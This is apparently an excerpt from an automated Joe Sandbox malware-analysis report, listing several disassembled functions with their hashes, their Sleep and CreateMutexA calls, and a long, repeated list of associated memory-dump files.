Opcode ID: 6051b9b393a144a39ced1b71229ea9a884e637f3e14ba6f834adf6b87064c6c0
Instruction ID: e6f9c1b74fdacb1a62c34d995db5d4db3153333066928c4304cd49aadaf4b74f
Opcode Fuzzy Hash: 6051b9b393a144a39ced1b71229ea9a884e637f3e14ba6f834adf6b87064c6c0
Instruction Fuzzy Hash: 373126317006089BEB1ADB78DC8AFADB772AB86318F24461DE054DB3D1D7769D808762

Function 003CA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: e45e903a71c70d0e9f8e188bdc37070b2f57a87679be20a88c32a92c792a83c0
Instruction ID: 795fe18ed31f908b9815eec25a06a89b556ffe814760b0b78c27ee8618d67462
Opcode Fuzzy Hash: e45e903a71c70d0e9f8e188bdc37070b2f57a87679be20a88c32a92c792a83c0
Instruction Fuzzy Hash: 443137317006089BEB1E9B78DC8AFADB762EB81318F20861DE054DB3D5DB759D808766

Function 003CA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: abd269ed7e749bfbb52668d404a479abdf64f5891bf2a40701b53a2dc45937e4
Instruction ID: 1d3422ed1c902fc37154fda8d9d5b1aecbc7715446ad9f97c1ad0d3fe06e0876
Opcode Fuzzy Hash: abd269ed7e749bfbb52668d404a479abdf64f5891bf2a40701b53a2dc45937e4
Instruction Fuzzy Hash: FE312A317005088BEB1ADB78DCCAF6DB762DB86318F24861DE094DB3D5C7799D808766

Function 003CA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 0ac43f5a56ca1d855b8c4beaee339fec111657043d1566cf68569f3365547d57
Instruction ID: a312649c5c1fa8e6081c6083d8dffbcfc906fa46d8c4f9d57217b1d18672afd7
Opcode Fuzzy Hash: 0ac43f5a56ca1d855b8c4beaee339fec111657043d1566cf68569f3365547d57
Instruction Fuzzy Hash: 74314A317006089BEB1ADBB8DC89FADB772EB81318F24865DE054DB3D1C7799D808766

Function 003C9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 075b648440ef71ecf2e3acb5364da55bd000d856d364ed2886b6b1224961e3fe
Instruction ID: 59aee40457284516539df88aacc0315f349dffc237045cf7d4cd9ecf7f4fe3d2
Opcode Fuzzy Hash: 075b648440ef71ecf2e3acb5364da55bd000d856d364ed2886b6b1224961e3fe
Instruction Fuzzy Hash: 35213A31704204DBEB199B68ECCAB6DB762EBC1314F20465EE444DB2D5DB769D808751

Function 003CA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 2f1da3b720446c3b7a53faf94af8b121f604059a0139149dc16185652dbd94b5
Instruction ID: f3621a6778f2f65836ad79b3118771717c2778ee734222c21453f7adbd50981a
